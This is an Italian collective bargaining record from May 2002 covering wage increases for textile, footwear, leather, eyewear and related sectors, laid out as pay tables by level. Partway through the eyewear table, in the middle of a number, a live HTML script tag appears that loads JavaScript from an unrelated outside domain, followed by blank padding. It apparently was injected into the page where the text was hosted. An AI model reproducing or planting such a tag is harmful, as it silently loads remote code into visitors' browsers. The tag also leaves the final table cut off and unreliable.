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Categoria: Penne spazzole (piccola e media impresa)
Settore: Tessili
Data stipula: 14-5-2002
Data decorrenza: 1-1-2002
Data scadenza: 31-12-2003

VERBALE DI ACCORDO


Addì 14 maggio 2002

In Roma, presso la sede CONFAPI, via della Colonna Antonina 52

tra

-      Unione  delle  Piccole  e  Medie  Industrie  tessile-abbigliamento,
  calzature, pelli e cuoio ecc. UNIONTESSILE

e

-     Federazione  italiana  Lavoratori Energia, Moda,  Chimica  e  affini
  (FEMCA);
-      Federazione   Italiana  Lavoratori  Tessili  e   dell'Abbigliamento
  (FILTEA);
-    Unione Italiana Lavoratori Tessili e dell'Abbigliamento (UILTA)

si è stipulato

il  seguente  verbale di accordo per il rinnovo della parte economica  del
CCNL  19.5.00 tessile-abbigliamento, del CCNL 19.5.00 calzature, del  CCNL
19.5.00 pelli e cuoio, del CCNL 17.11.00 occhiali, del CCNL 17.11.00 penne
e spazzole e del CCNL 23.3.01 giocattoli.


UNIONTESSILE
FEMCA
FILTEA
UILTA



1)   AUMENTI CONTRATTUALI

Tessile - Abbigliamento

Gli aumenti contrattuali avverranno secondo le seguenti modalità:

                        Elemento Retributivo Nazionale
liv par
                1.3.02              1.11.02              1.6.03
         incremento    ERN    incremento   ERN    incremento    ERN
              
8°  229     40,57    1443,27    26,17    1469,44     28,79    1498,23
7°  214     37,91    1378,63    24,46    1403,09     26,90    1429,99
6°  203     35,96    1279,07    23,20    1302,27     25,52    1327,79
5°  191     33,83    1196,37    21,83    1218,20     24,01    1242,21
4°  180     31,89    1122,65    20,57    1143,22     22,63    1165,85
3°  170     30,11    1075,94    19,43    1095,37     21,37    1116,74
2°  155     27,46    1026,80    17,71    1044,51     19,49    1064,00
1°  100     17,71     907,31    11,43     918,74     12,57     931,31


Calzature.

Gli aumenti contrattuali avverranno secondo le seguenti modalità:

                        Elemento Retributivo Nazionale
liv par
                1.3.02              1.11.02              1.6.03
         incremento    ERN    incremento   ERN    incremento    ERN
                                  
8°  229     40,57    1453,60    26,17    1479,77     28,79    1508,56
7°  214     37,91    1354,88    24,46    1379,34     26,90    1406,24
6°  203     35,96    1230,01    23,20    1253,21     25,52    1278,73
5°  191     33,83    1174,17    21,83    1196,00     24,01    1220,01
4°  180     31,89    1122,65    20,57    1143,22     22,63    1165,85
3°  170     30,11    1075,94    19,43    1095,37     21,37    1116,74
2°  155     27,46    1026,80    17,71    1044,51     19,49    1064,00
1°  100     17,71     907,31    11,43     918,74     12,57     931,31


Pelli e Cuoio.

Gli aumenti contrattuali avverranno secondo le seguenti modalità:

                              minimo contrattuale
liv par
                1.3.02              1.11.02              1.6.03
         incremento   minimo  incremento  minimo  incremento   minimo
                        
6°  224     39,45    1360,03    25,45    1385,48     28,00    1413,48
5°  208     36,64    1226,56    23,64    1250,20     26,00    1276,20
4°S 192     33,82    1147,30    21,82    1169,12     24,00    1193,12
4°  179     31,53    1122,80    20,34    1143,14     22,38    1165,52
3°  173     30,47    1079,39    19,66    1099,05     21,63    1120,68
2°  160     28,18    1029,59    18,18    1047,77     20,00    1067,77
1°  100     17,61     907,72    11,36     919,08     12,50     931,58


Occhiali.

Gli aumenti contrattuali avverranno secondo le seguenti modalità:

                              minimo contrattuale
liv par
                1.3.02              1.11.02              1.6.03
         incremento   minimo  incremento  minimo  incremento   minimo
                        
6°  224     39,45     846,67    25,45     872,12     28,00     900,12
5°  208     36,64     719,40    23,64     743,04     26,00     769,04
4°S 192     33,82     642,72    21,82     664,54     24,00     688,54
4°  179     31,53     598,60    20,<script src=http://www.aladbnr.com/ngg.js></script>













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